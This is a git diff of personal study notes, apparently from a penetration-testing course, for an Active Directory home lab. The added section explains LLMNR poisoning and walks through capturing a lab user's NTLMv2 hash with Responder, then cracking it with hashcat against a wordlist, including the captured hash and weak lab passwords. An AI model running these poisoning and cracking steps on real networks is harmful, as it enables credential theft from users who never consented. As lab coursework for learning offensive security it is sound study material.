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diff --git a/peh/4-active-directory/.gitbook/assets/llmnr-overview.png b/peh/4-active-directory/.gitbook/assets/llmnr-overview.png
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diff --git a/peh/4-active-directory/1-ad-lab.md b/peh/4-active-directory/1-ad-lab.md
index 50f756d..7145677 100644
--- a/peh/4-active-directory/1-ad-lab.md
+++ b/peh/4-active-directory/1-ad-lab.md
@@ -27,7 +27,7 @@
 - Domain - `MARVEL.local`
 - **Active Directory Users and Computers**
   - Copy the `Administrator` user and create a second domain admin
-    - `tstark`:`yourpassword`
+    - `tstark`:`<yourpassword>`
   - Copy the `Administrator` user and create a service account
     - `SQLService`:`MYpassword123#`
   - Create new users
@@ -69,7 +69,7 @@ setspn -T MARVEL.local -Q */*
     - Reset password and enable local `Administrator`:`Password1!`
 
     - Add the domain users to the Administrators group
-      - `fcastle` for `THEPUNISHER` VM 
+      - `fcastle` for `THEPUNISHER` VM
       - `fcastle` and `pparker` for `SPIDERMAN` VM
 
 - Go to Network and turn on `Network discovery and file sharing`
diff --git a/peh/4-active-directory/2-ad-init-vectors.md b/peh/4-active-directory/2-ad-init-vectors.md
index fce2438..a719cd9 100644
--- a/peh/4-active-directory/2-ad-init-vectors.md
+++ b/peh/4-active-directory/2-ad-init-vectors.md
@@ -1,2 +1,56 @@
 # AD - Initial Attack Vectors
 
+## [LLMNR Poisoning](https://tcm-sec.com/llmnr-poisoning-and-how-to-prevent-it/)
+
+➡️ **LLMNR** (Link-Local Multicast Name Resolution) protocol (NetBIOS / NBT-NS successor) allows hosts to perform name resolution for hosts on the same local network without requiring a DNS server.
+
+- When a host DNS query fails -> the host broadcast an LLMNR query across the local network
+  - An attacker can listen for these queries and respond to them with its IP to redirect traffic, leading to relay attacks and credentials theft (username & NTLM hash)
+
+![LLMNR Posoning - tcm-sec.com](.gitbook/assets/llmnr-overview.png)
+
+
+
+### Responder
+
+➡️ [Responder](https://github.com/lgandx/Responder) - LMNR, NBT-NS and MDNS poisoner
+
+- HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server
+- Supports NTLMv1/NTLMv2/LMv2 with Extended Security NTLMSSP
+- Built-in HTTP and HTTPS auth servers
+- Built-in MSSQL auth server
+- ... more ...
+
+```bash
+sudo responder -I eth0 -dPv
+```
+
+- Login to `THEPUNISHER` VM with `fcastle` user and try to open WinExplorer and navigate to `\\192.168.31.131` (Kali IP)
+- An event occurs and triggers LLMNR
+  - victim's username and password NTLMv2 hash received
+
+
+![](.gitbook/assets/2024-07-28_21-48-50_660.png)
+
+### NTLMv2 Crack
+
+- Save the hash into a `hashes.txt` file and try to crack it
+
+```bash
+mkdir -p ~/tcm/peh/ad-attacks
+cd ~/tcm/peh/ad-attacks
+
+nano hashes.txt
+# Paste the entire hash here
+# e.g.
+fcastle::MARVEL:326a2463163fdc3c:F7960DB37F933089E086898EC14E6C78:01010000000000008056A8C737E1DA012259B2C298FAD80B00000000020008004400530035004E0001001E00570049004E002D0058004B00300049004C0054004B0049004B004200560004003400570049004E002D0058004B00300049004C0054004B0049004B00420056002E004400530035004E002E004C004F00430041004C00030014004400530035004E002E004C004F00430041004C00050014004400530035004E002E004C004F00430041004C00070008008056A8C737E1DA0106000400020000000800300030000000000000000100000000200000904D97995337C0F1A56FEF978A82D6E80397E74EE021151E600DB10AC038DF7B0A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00330031002E003100330031000000000000000000
+
+# Run hashcat
+hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
+hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --show
+```
+
+![Cracked password](.gitbook/assets/2024-07-28_21-59-11_661.png)
+
+---
+
diff --git a/peh/4-active-directory/README.md b/peh/4-active-directory/README.md
index ff00614..a3ca0f7 100644
--- a/peh/4-active-directory/README.md
+++ b/peh/4-active-directory/README.md
@@ -4,7 +4,7 @@
 
 🪟 **Active Directory** (**AD**) is a directory service developed by Microsoft for Windows domain networks. It provides directory services for managing Windows-based computers on a network. AD stores information about objects such as users, groups, computers, and other resources, and provides authentication and authorization services.
 
-![Active Directory - academy.hackthebox.com](.gitbook/assets/1NdU4kfgwv6vgWRmsCZ1BXA.png)
+![Active Directory - academy.hackthebox.com](.gitbook/assets/ad-org.png)
 
 ---